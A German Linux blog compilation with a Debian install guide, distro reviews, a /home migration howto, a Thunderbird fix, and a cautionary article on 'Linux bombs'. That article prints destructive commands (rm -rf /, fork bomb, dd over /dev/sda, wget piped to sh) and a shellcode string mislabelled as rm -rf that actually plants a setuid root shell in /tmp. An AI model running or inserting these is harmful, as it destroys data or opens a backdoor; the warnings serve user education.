DSGVO, Konsequenzen für Verbraucher

Es gibt bisher nicht besprochene Konsequenzen für den Verbraucher.

Warum sollten Unternehmen Daten vorhalten, von denen sie keinen Nutzen haben?
Werden bisher nicht genutzte Daten von Kunden gelöscht?
Jeder Verbraucher muss sich selbst um Datenhygiene kümmern!
Auch muss ein Backup-Konzept her!
Wichtige Daten müssen Sie selbst vorhalten!

Debian Net-Installation

Beispiel mit Ressourcenschonung und Benutzerfreundlichkeit


Inhaltsverzeichnis

1. Einleitung
2. Installationsvoraussetzungen für Debian mit XFCE4
3. Download
4. Hash-Prüfung
5. Datenträger erstellen
6. Bootmedium starten
7. Installation
8. Konfiguration der Benutzerfreundlichkeit
9. Feintuning
10. Anhang Programmübersicht
11. Nachwort


1. Einleitung

Diese Anleitung ist nur für Benutzer geeignet, die schon längere Zeit mit Linux arbeiten.
Die Installation von „Debian GNU/Linux Testing“ wird mit einem minimalen „netinst“-Abbild, also CD-ROM-Image als iso-Datei, vorgenommen. Das hat den Vorteil, das nur die Software-Pakete geladen werden, die man selber auch wirklich will und nicht der gesamte Funktionsumfang der vorausgewählten Software, die unter Umständen nie benötigt wird, aber allein durch ihr Vorhandensein ein Risiko darstellen.
Als Desktop wähle ich die schlanke und doch vollwertige Desktop-Umgebung „XFCE“. Nach Abschluss der Installation haben Sie ein extrem schnelles und sicheres Debian als Betriebssystem.

Denn merke, die Software die nicht installiert wird, hat auch keine Sicherheitslücke!


2. Installationsvoraussetzungen für Debian mit XFCE4

Hardware

  • Bootmedium
  • 1 GB RAM, also Arbeitsspeicher; mehr ist besser
  • 10 GB Festplatte; mehr ist besser
  • über 1 GHz CPU; mehr ist besser
  • angeschlossenes Internet mit Kabel während der Installation

Software

Das Internet ist notwendig, da hier mit einem sogenannten „netinst“-Abbild installiert wird, welches nur eine minimale Grundinstallation beinhaltet und alles andere über das Internet während des Installationsprozesses nach laden muss und damit die jeweils aktuellste Version eines jeden Paketes.
Das „netinst“-Abbild ist nur 150 bis 350 MB groß, je nach Plattform, also Prozessor-Architektur.

Benutzer

Sie sollten wissen wie eine Partition angelegt wird, was ein Mountpoint ist und wie Befehle eingegeben werden. Beispielsweise ist die Wurzel unter Linux kein forstwirtschaftlicher Fachbegriff.


3. Download

Das Abbild
„Current daily snapshots
netinst (generally 150-280 MB) CD images“

liegt hier: https://www.debian.org/devel/debian-installer/

In meinem Fall ist das die „amd64“-Version:

debian-testing-amd64-netinst.iso               2018-05-16 06:11  331M.

Die dazugehörige Hash-Prüfsummen stehen als MD5, SHA1, SHA256 und SHA512 zur Verfügung.


4. Hash-Prüfung

Die heruntergeladene iso-Datei schnell prüfen im Terminal mit

md5sum debian-testing-amd64-netinst.iso

Oder mit dem grafischem Werkzeug „GtkHash“.


5. Datenträger erstellen

Hier gibt es so viele Möglichkeiten, das ich nur die schnellste erwähne mit dem Befehl „dd“ mit dem folgendem Beispiel, was auf User, Datei und Laufwerk angepasst werden muss:

sudo dd if=/home/user/Downloads/linux.iso of=/dev/sdb; sync

Ansonsten kann auf unterschiedliche Medien ein bootfähiges Abbild gelegt werden, wie CD-ROM, DVD, USB-Stick, externe Festplatte und Netzwerk. Wahrscheinlich liegt der USB-Stick bei den meisten so und so schon da.


6. Bootmedium starten

Bei der meisten PC-Hardware führt die „F8“-Taste zum Bootmenü der Boot-Medien, ansonsten die Bootreihenfolge im BIOS ändern.


7. Installation

Grundlegende Installation

Folgende Einstellungen habe ich vorgenommen.

  1. Graphical install
  2. Select a language → German – Deutsch
  3. Auswählen des Standortes → Deutschland
  4. Tastatur konfigurieren → Deutsch
  5. Rechnername → test-n
  6. Domain-Name → leer
  7. Root-Passwort → Zahlen und Buchstaben
  8. Vollständiger Benutzername → test
  9. Benutzername für Ihr Konto → test
  10. Passwort für neuen Benutzer → Zahlen und Buchstaben
  11. Partitionierungsmethode → „Geführt – vollständige Festplatte“
  12. Auswahl der Festplatte → sda
  13. Partitionierungsschema → „Alle Dateien auf eine Partition, … „
  14. „Partitionierung beenden und Änderungen übernehmen.“
  15. Änderungen auf die Festplatte schreiben? → Ja
  16. >>> Die Installation des Grundsystems läuft.
  17. Eine andere CD oder DVD einlesen? → Nein
  18. Paketmanager konfigurieren → Deutschland
  19. Debian-Archiv-Spiegelserver → ftp.de.debian.org
  20. HTTP-Proxy-Daten → leer
  21. >>> Weitere Installationsroutine
  22. An der Paketerfassung teilnehmen? → Ja
  23. Softwareauswahl (tasksel) → nur Druckserver
  24. Grub-Bootlader in den MBR installieren? → Ja
  25. Grub-Bootlader installieren auf Festplatte → sda
  26. >>> Abschluss der Grundinstallation

Nach dem Neustart loggen Sie sich mit Ihrem Benutzernamen und Ihrem Passwort ein. Jetzt ist Debian funktionsfähig installiert und zur Nutzung bereit, doch ohne grafische Oberfläche.

Erweiterte Installation

Jetzt wäre eine Nutzung von Debian schon möglich, aber das „Erlebnis“ eines grafischen Desktop wollen wohl 99,9% der Benutzer nicht missen. Daher jetzt die Installation der Desktop-Umgebung und, meiner bescheidenen Meinung nach, noch wichtige Programme und Werkzeuge.

su
Passwort:
apt install xfce4 xfce4-goodies sudo synaptic firefox-esr-l10n-de thunderbird-l10n-de libreoffice gnome-disk-utility net-tools screenfetch

Wer weiß, welche Programme das sind, kann noch „bleachbit“, „conky“, „grsync“ und „gtkorphan“ installieren. Aber Vorsicht bei „bleachbit“ und „gtkorphan“, lassen Sie sich bitte vor der Benutzung einweisen, denn zwar sparen dies Programme sehr viel Speicherplatz ein, aber die Einstellungen sollten bewusst vorgenommen werden.

Abschließend alles nochmal aktualisieren und aufräumen

su
Password:
apt list --upgradable && apt update && apt upgrade && dpkg --configure -a && apt install -f && apt clean && apt autoremove && apt autoremove --purge

8. Konfiguration der Benutzerfreundlichkeit

Benutzer mit sudo-Rechten ausstatten

In der Konsole oder im Terminal folgenden Befehl absetzen um in Zukunft mit erweiterten Rechten für den Benutzer zu arbeiten.

su
Passwort:
gpasswd -a test sudo

Paketquellen erweitern

Als erstes sollten die Paketquellen aus dem harschen Debian-Gefängnis befreit werden. Das ist ein wenig widersinnig, da nach der Installation nur freie Pakete zur Verfügung stehen, doch die notwendigen Treiber wie für Grafikkarte oder Wlan-Module in den unfreien Paketquellen liegen.
Also muss mit sudo-Rechten die folgende Datei editiert und zum Schluss gespeichert werden.

sudo mousepad /etc/apt/sources.list

Alle Inhalte löschen oder auskommentieren und folgende Repositorien-Einträge setzen.

deb http://deb.debian.org/debian/ testing main contrib non-free

deb-src http://deb.debian.org/debian/ testing main contrib non-free

deb http://deb.debian.org/debian/ testing-updates main contrib non-free

deb-src http://deb.debian.org/debian/ testing-updates main contrib non-free

deb http://deb.debian.org/debian-security testing/updates main

deb-src http://deb.debian.org/debian-security testing/updates main

Autologin aktivieren

Wenn fremde Personen keinen physischen Zugang zu Ihrem Computer haben, kann bequem das automatische Anmelden des Benutzer aktiviert werden.
Die lightdm-Konfigurationsdatei editieren und danach speichern.

sudo mousepad /etc/lightdm/lightdm.conf

Folgende Einträge finden:

# autologin-user=	
# autologin-user-timeout=0

Die Einträge ändern in:

autologin-user=test
autologin-user-timeout=0

Grafiktreiber für AMD installieren

Leider musste ich noch einen Treiber nachladen.

sudo apt install firmware-amd-graphics

9. Feintuning

Arbeitsflächen auf eine reduzieren
Einstellungen → Arbeitsflächen → Anzahl der Arbeitsflächen → „1“

Windowsmanager-Thema
Einstellungen → Fensterverwaltung → Stil → „Daloa“ zeigt das vordere Fenster mit anders farbiger Titelleiste und die schlanken Titel-Leisten.

Inhalt von Fenstern verstecken
Einstellungen → Fensterverwaltung → Erweitert → Inhalt von Fenstern verstecken → aktivieren „Beim Bewegen“ und „Bei der Größenänderung“

Schreibtisch Wallpaper deaktivieren
Einstellungen → Schreibtisch → Stil → „Kein Bild“


10. Anhang Programmübersicht

Der gezeigte Screenfetch beinhaltet unter anderem folgende Programme zur Standard-Installation des net-install-Medium, wobei in der der tasksel nur der Drucker-Server ausgewählt war.

Programm Beschreibung
Bleachbit Bereinigungsprogramm
Conky Systemmonitor
Debian GNU/Linux Linux-Distribution
Firefox Webbrowser
gnome-disk-utility Speichermedien-Manager
Grsync Backup- , Restore- und Synchronisationsprogramm
Gtkorphan Finden und löschen von verwaisten Paketen
LibreOffice Office-Suite
Light-DM Login- und Display-Manager
Mousepad Xfce4-Editor
Screenfetch CLI-Programm für kompakte Systemübersicht
Synaptic Software-Paket-Manager
tasksel Task-Selection, hier als eine Auswahl von Paketzusammenstellungen
Thunderbird E-Mail-Client
Xfce4 Desktopumgebung
Xfce4-Goodies Erweiterungen zum Xfce4-Desktop

11. Nachwort

Natürlich kann das von mir vorgestellte System nochmals beschleunigt und verschlankt werden, beispielsweise mit dem SLIM-Login- und Displaymanager oder in GRUB die 5 Sekunden Verzögerung ausschalten.
Doch wird sich das jeder dann selbst noch optimieren können, wenn er bis hierher Gefallen gefunden hat.

Gefährliche Befehle, Linux-Bom­ben


Inhaltsverzeichnis

Vorwort
1. rm
2. rm -rf in hexadezimal
3. Forkbomb
4. Copy und Paste
5. Device Null
6. Operatoren
7. WGET
8. dd
9. Weitere Befehle
Fazit
Quellen


Vorwort

Vorsicht, nur in virtuellen Maschinen testen! Als Testsystem hatte ich ein Ubuntu 16.04 in eine virtuelle Maschine installiert und mehrfach kopiert.


1. rm

Die bekannteste Linux-Bombe ist wohl „rm“, denn es wird oft vergessen den kompletten Pfad anzugeben, auch wenn man in einem Unterverzeichnis ist, denn dieser Befehl geht über die Wurzel. Und es ist auch hoch bezahlten Admins schon passiert.

sudo rm -rf /

Dieser Befehl löscht ohne Nachfrage rekursiv alles ab Wurzelverzeichnis. Alles heißt, alle eingehängte Laufwerke und auch alle Netzlaufwerke.
Funktioniert todsicher! Aber nicht unter dem Ubuntu, dort wird eine Warnung ausgegeben.
Gegenmaßnahme
Ein Fallstrick kann „safe-rm“ sein. Es soll vor unbeabsichtigten löschen helfen. Wer sich aber daran gewöhnt und auf einen anderen/neuen Rechner kein „safe-rm“ installiert hat, dann ist „rm“ ist seiner Gewalt nicht zu bremsen.
Ansonsten hilft auch kein beten.
Quelle
Weiteres in jedem Linux-Handbuch und jeder Unix-Befehlsreferenz.


2. rm -rf in hexadezimal

Ist genauso schädlich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubuntu müssten dazu die Pakete release und bikeshed installiert sein. Hat bei mir unter Ubuntu nicht funktioniert.


3. Forkbomb

Rechner auslasten mit Hintergrundaktivität und damit die CPU mal richtig heiß wird und sich selbst auslötet.

:(){ :|:& };:

Funktion die definiert wird, hier „:()“, ruft sich selbst als Hintergrundaktivität auf und übergibt sich wieder neu und so weiter, also eine typische Forkbomb. Funktioniert unter Ubuntu. Bösartig, es wird am Anfang nicht gleich wahrgenommen und Systemmonitore, wie „Conky“, zeigen durch die 100% ausgelastete CPU keine Veränderungen an.
Gegenmaßnahme
Schutz gibt es, wenn die Datei „/etc/security/limits.conf“ dem entsprechend editiert wird.


4. Copy und Paste

Das Internet hilft bei vielen Gelegenheiten, aber ersetzt nicht das eigene Denken. Kopieren und Einfügen kann gefährlich sein. Hinter einer harmlosen Eingabe wie

echo "Hallo Welt!"

kann man auch

rm -rf /

verstecken.
Gegenmaßnahme
Vorsichtshalber in ein Editor einfügen, hilft aber auch nicht immer :-)


5. Device Null

Das Gerät Null ist tatsächlich entstanden um Daten, die als unwichtig gelten, in das Nichts zu senden.
Doch folgende Befehlszeile löscht das gesamte /home-Verzeichnis des angemeldetem Benutzers.

mv ~ /dev/null

In Ubuntu ist dafür keine Berechtigung vorhanden.
Gegenmaßnahme
Nachdenken, was soll eine Tilde, also das /home-Verzeichnis, mit Null zu tun haben!


6. Operatoren

Gerne nutze ich das Kommando „ls > Verzeichnis.txt“ um mir den Inhalt eines Verzeichnis als Textdatei abzulegen. Und bei Änderungen lege ich mit dem doppelten Operanden „ls >> Verzeichnis.txt“ in der selben Datei am Ende nach.

ls > /dev/sda

Wird aber dieser Befehl ausgeführt überschreibt er die genannte Festplatte mit sich selbst. Statt „ls“ könnte auch ein anderer Befehl genommen werden, die Auswirkung ist gleich, da hier der Operand den Fehler ausübt. In Ubuntu ist dafür keine Berechtigung vorhanden.
Gegenmaßnahme
Immer erst in einer virtuellen Maschine solche Kommandos prüfen.


7. WGET

Ist dieselbe Bequemlichkeit wie kopieren und einfügen. Ein Script wird im Netz zur Verfügung gestellt und nun kann man es einfach durch die Shell ausführen, mit Verhinderung von wichtigen Informationen.

wget http://webseite.com -q | sh

Nur, ob die Beschreibung des Skriptes mit dem tatsächlichem Inhalt übereinstimmt, ist hier nicht plausibel erwiesen.
Hat in meiner Ubuntu-Installation nicht funktioniert.
Gegenmaßnahme
Durch „quiet“ ist es noch nicht mal möglich die Gefahr zu bannen, zum Beispiel mit „Strg+c“.


8. dd

Dieses Kommando ist zum Kopieren gedacht. Hier ist Missbrauch möglich, um Datenträger zu überschreiben.

dd if=/dev/urandom of=/dev/sda

An diesem Beispiel werden Zufallszahlen auf die gesamte Festplatte geschrieben und somit der vorhandene Inhalt gelöscht.
Gegenmaßnahme
Da hab ich es mit Nelson -> „Haha“.


9. Weitere Befehle die vorsichtig angewendet werden sollten.

Die nachfolgenden Kommandos habe ich nicht getestet, erscheinen aber logisch.

sudo chmod 000 -R /

Rechte werden rekursiv entzogen oder keine erteilt wie man´s sieht. Daten bleiben aber erhalten.
Mit umask wären sicherlich auch solche Spielchen möglich.

touch root
sudo chattr +i root

Datei mit +i unveränderlich setzen

sudo chattr -i root

Attribut wieder entfernen


10. Fazit

Das sind wohl einige der bekanntesten Fallgruben. Trotzdem sollte bei angebotener Hilfe das eigene Denken die erste Hürde sein und ein gesundes Maß an Misstrauen, ob andere nicht auch Flüchtigkeitsfehler machen, wäre angebracht.


Quellen

Linux-Handbuch von Kofler, Gallileo-Verlag
Unix-Befehlsreferenzen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Rolling Release – meine Erfahrungen

Inhaltsverzeichnis

Ein immer aktuelles und sicheres Betriebssystem, ein Traum
“Debian”-Testing
“siduction”
„Manjaro“
Abschlussbetrachtung


Ein immer aktuelles und sicheres Betriebssystem, ein Traum

Ist er schon wahr geworden oder sind da Hürden?
Jahrelang versuche ich ein Rolling Release produktiv zu nutzen, aber es gelingt mir nicht ohne erhebliche Aufwendungen. Also war es eine bisher erfolglose Suche nach dem idealem System.

Hier ein Erfahrungsbericht vom Januar 2018. Ich habe die drei mir bekanntesten Rolling Release vorgenommen, „Debian“-Testing, „siduction“ und „Manjaro“.

Ja ich weiß, „Debian“-Testing ist kein echtes Rolling Release und außerdem gibt es noch „Gentoo Linux“ und „openSUSE“ und jede Menge kleinere Distros. „Gentoo-Linux“ nutzt ein Paketmanagement was ungleich von Arch, Debian und RedHat ist, daher fliegt es als zu seltsam aus meiner Auswahl. „openSUSE“ ist seit Übernahme durch „Novell“ und seinem Gebaren sowie dem Pakt mit „Microsoft“ auch raus.


„Debian“-Testing

Debian steht im Ruf rückwärts kompatibel zu sein. Testing liegt in der Reihenfolge der Veröffentlichungen zwischen unstable, auch sid genannt, und stable, der erzkonservativen „Ist-fertig Ausgabe“.

Steckbrief
– relativ schnell mit neuen Kernels versorgt
– relativ schnell mit neuen Sicherheitsupdates versorgt
– relativ schnell mit neuen Programmversionen versorgt
– altbackene Desktop-Umgebungen
– strenge Regulierungen von Rechten und freier Software

Testfall
Nach der Installation und der Updates und Upgrades, wollte ich „Teamviewer 9“ installieren, also bewusst nicht die neueste Version. Da es ein 64Bit-Testing war, hatte ich die 64Bit-Teamviewer-Version installieren wollen, ging nicht. Also die 32Bit-Teamviewer-Version installieren, ging aber auch nicht. Ok, es fehlen Abhängigkeiten, nun habe ich diese nach installieren wollen, doch diese gibt es nicht in den offiziellen Repositorien. Trotz konservativer Teamviewer-Variante können Abhängigkeiten nicht schnell aufgelöst werden.


„siduction“

Der Name verrät es, die Grundlage ist das „Debian“-unstable. Der Distributor meint von sich selbst das „Gemeinschaftsbasierende Betriebssystem“ zu sein.

Steckbrief
– relativ schnell mit neuen Kernels versorgt
– relativ schnell mit neuen Programmversionen versorgt
– veränderte und teilweise irre Desktop-Umgebungen
– Forum-Vandalismus

Testfall
Bei Hilfeersuchen im Forum, sollte man sich unbedingt devot verhalten. Sollte man selbst eine Frage stellen, die für andere Kritik enthalten könnte, erwartet den Fragenden Bashing, Abweisungen und Antworten die nicht zum Thema gehören. Echte Hilfe, auf eigene Fragen, ist sehr schwer zu finden. Eine Zumutung für den Leitsatz „community based OS“, eher eine konservative Geschlossenheit mit Ausnahmen.


„Manjaro“

die Arch-basierende Linux-Ausgabe. Sie ist wunderschön und sehr verführerisch. Es ist die modernste und aktuellste Distribution, die ich kenne.

Steckbrief
– mit den neuesten Kernels versorgt
– schnell mit neuen Sicherheitsupdates versorgt
– mit den neuesten Programmversionen versorgt
– moderner XFCE-Desktop
– riesiges Arch-Wiki, mit fast allen Antworten

Testfall
Nach der Installation habe ich selbstverständlich die Paketlisten aktualisiert. Doch nun kommt der fail. Beim upgraden hing die neuste Version vom Firefox fest. Auch nach Neustart und nochmaligen updaten sowie upgraden wurde das Firefox-Paket nicht installiert. „Manjaro“ die aktuellste Distro versagt beim aktualisieren.


Abschlussbetrachtung

Was soll ich dazu noch schreiben, wenn die drei Distros in ihrem jeweiligem Hauptmerkmal patzen. Ja, ich könnte um Entschuldigung bitten, das es nicht jeweils das gleiche Testszenarium war, oder selbstverständlich hätte man die Abhängigkeiten und die Hindernisse durch Eigeninitiative abstellen können, doch es bleibt der Geschmack von „ist nicht fertig“. Rolling Release sollte niemals von Windows-Usern genutzt werden und auch nicht von Linux-Usern die noch nicht viel mit der Konsole gearbeitet hatten.

/home umziehen oder Wohnungswechsel

Problem
Die alte Partition oder die alte Festplatte ist zu klein geworden für die eignen Daten. Oder eine schnelle ssd-Festplatte soll jetzt das neue zu Hause werden.

Lösung
Umzug des /home-Verzeichnis auf eine zusätzlich Partition oder/und Festplatte ohne Neuinstallation des bestehenden System.


Inhaltsverzeichnis

Vorwort
1. Vorbereitungen
2. In der Konsole arbeiten
3. Neue /home-Partition einhängen
4. Dateien vom alten /home in das neue /home-Verzeichnis kopieren
5. Altes /home-Verzeichnis löschen
6. Neues /home-Verzeichnis zum booten eintragen
7. reboot
Quellen


Vorwort

Dieser Artikel gilt für Ubuntu-Derivate, für andere Debian-basierenden Distros sind teilweise andere Vorgehensweisen nötig, beispielsweise statt sudo, dann su, wenn man selbst nicht als sudoer eingetragen ist.
Zu beachten ist, dass hier alle Benutzer von /home, außer root, umziehen.
Zu beachten sind außerdem alle Schrägstriche, Anführungszeichen und sonstige Notifikationen; wird ein Zeichen zu viel oder zu wenig gesetzt, wird der Befehl nicht oder sogar falsch ausgeführt, was beispielsweise bei dem Befehl

rm

verheerend sein kann.


1. Vorbereitungen

1.1. Zuerst den Speicherplatz
von /home ermittelt mit
Terminaleingabe:

du -sh /home

Terminalausgabe:

548G	/home

Eine grafische Lösung wäre „gnome-disk-utility“.
1.2. Nun ein Backup
für unvorhergesehen Ereignisse oder geplantes Wiederherstellen durchführen, das Programm „grsync“ wäre eine grafische Lösung. Nicht die „versteckten“ Dateien und Verzeichnisse vergessen, diese beginnen mit einem Punkt im Namen.
1.3. Dann eine neue oder leere Partition
, mit gewünschter Größe auf vorhandener oder zusätzlicher Festplatte erstellen, das Programm „gparted“ wäre eine grafische Lösung. Die Größe sollte mindestens dem Speicherplatz der bisherigen Speichergröße und zusätzlich 20% sein, wegen der temporären Verzeichnisse.


2. In der Konsole arbeiten

2.1. Für ein fehlerfreies Arbeitenwird jetzt die grafische Oberfläche verlassen mit einer Tastenkombination.

Strg+Alt+F1 # bis F6

2.2. Login mit eigenem Benutzernamen und dem dazugehörigem Passwort.
2.3. Administrative root-Rechte für die nachfolgenden Befehle holen und auf die oberste Ebene „/“ gehen.

sudo -s
cd /

3. Neue /home-Partition einhängen

3.1. Eine detailreiche Übersicht der bestehenden Portionen und Festplatten holen.

fdsik -l

3.2. Die Bezeichnung der neuen Partition notieren, etwa wie folgt und hier im weiterem als Beispiel verwendet.

sda3

3.3. Nun ein temporären Verzeichnis erstellen.

mkdir /mnt/tmp

3.4. Diese Verzeichnis in der neuen /home-Partition mounten.

mount /dev/sda3 /mnt/tmp

4. Dateien vom alten /home in das neue /home-Verzeichnis kopieren

4.1. Ein exaktes kopieren mit Prüfung

rsync -avx --progress /home/ /mnt/tmp

4.2. oder schneller kopieren.

cp -avx /home/* /mnt/tmp

4.3. Die neue Partition wird jetzt mounten.

mount /dev/sda3 /home

4.4. Die neue Partition überprüfen.

du -sh /home; mount|grep /home

Die Ausgabe sollte etwa so aussehen.

548G	/home
dev/sda3 on /home type ext4 (rw)

5. altes /home-Verzeichnis löschen

5.1. Ich gehe davon aus, dass das Backup erstellt wurde :-)
5.2. Nun das alte /home-Verzeichnis unmounten.

umount /home

5.3. jetzt kann es rekursiv gelöscht werden.

rm -rf /home/*

6. neues /home-Verzeichnis zum booten eintragen

6.1. Die Identifikation der /home-Partition ermitteln.

blkid

Hier eine beispielhafte Ausgabe.

/dev/sda1: UUID="xxx-x … x-123" TYPE="ext4" PARTUUID="0815-01"
/dev/sda2: UUID="xxx-x … x-345" TYPE="ext4" PARTUUID="0815-02"
/dev/sda3: UUID="xxx-x … x-678" TYPE="ext4" PARTUUID="0815-03"

6.2. Nun die identifizierte Partitionzusätzlich in die Datei „/etc/fstab“ am Ende eintragen mit Hilfe eines Konsoleneditors wie „vi“, „vim“ oder „nano“ als benutzerfreundlichstem.

nano /etc/fstab

6.3. Der zusätzliche Beispieleintrag sehe wie folgt aus.

# /dev/sda3 Die Raute zeigt diesen Text als hilfreichen Kommentar.
UUID=xxx-x … x-678  /home   ext4   defaults   0 2
Bitte eine Leerzeile am Ende belassen.

Speichern in „nano“, „O“ ist ein Buchstabe.

Strg+O

Und „Nano“ beenden.

Strg+X

7. reboot

reboot

Quellen

Praxis: Diese Anleitung wurde praktisch und mit Erfolg angewendet.
Inspiration: https://wiki.ubuntuusers.de/Home_umziehen/
Bild: Frank Rosenberger

Thunderbird verliert die Sortierung

Problem
Thunderbird kann die Sortierung der eingegangenen E-Mails verlieren. Es ist ein seltenes Phänomen, aber wenn, dann sehr ärgerlich.

Lösung
Der Standardschalter für die Sortierung ist die Spaltenüberschrift. Doch wenn diese Sortierung beim nächsten Start des Betriebssystemes vergessen wurde, dann kommt die folgende Lösung zum Tragen.


Ich zeige hier am Beispiel der Sortierung nach Datum, neueste E-Mail oben, wie eine bleibende Einstellung vorgenommen werden kann.


about:config

Die bleibende Einstellung kann in der Konfigurationsdatei „about:config“ vorgenommen werden.

  1. Ein Weg dorthin ist das sogenannte „Hamburgermenü“ → Einstellungen → Einstellungen → Erweitert → Schalter „Konfiguration bearbeiten“ → Schalter „Ich bin mir der Gefahren bewusst!“.
  2. ODER über die Menüleiste geht es so; mit der Taste F10 die „Menüleiste“ holen → Menü „Bearbeiten“ → Submenü „Einstellungen“ → Tab „Erweitert“ → Schalter „Konfiguration bearbeiten“ → Schalter „Ich bin mir der Gefahren bewusst!“.
  3. In die obere Suchleiste eingeben „sort_order“ und Suche bestätigen mit Taste Enter.
  4. Es werden nun die Einträge mit „mailnews.default_ …“ angezeigt und nun kann der Wert des Integer von 1 auf 2 geändert werden.

Ab sofort verbleiben die ankommenden neuen E-Mails oben und die ältesten sind in der Sortierung unten. Genauso können auch andere Werte für andere Sortierungen geändert werden.


Standardschalter für die Sortierung ist die Spaltenüberschrift
Standardschalter für die Sortierung ist die Spaltenüberschrift
Konfiguration bearbeiten
Konfiguration bearbeiten
Schalter „Ich bin mir der Gefahren bewusst!“
Schalter „Ich bin mir der Gefahren bewusst!“
sort_order
sort_order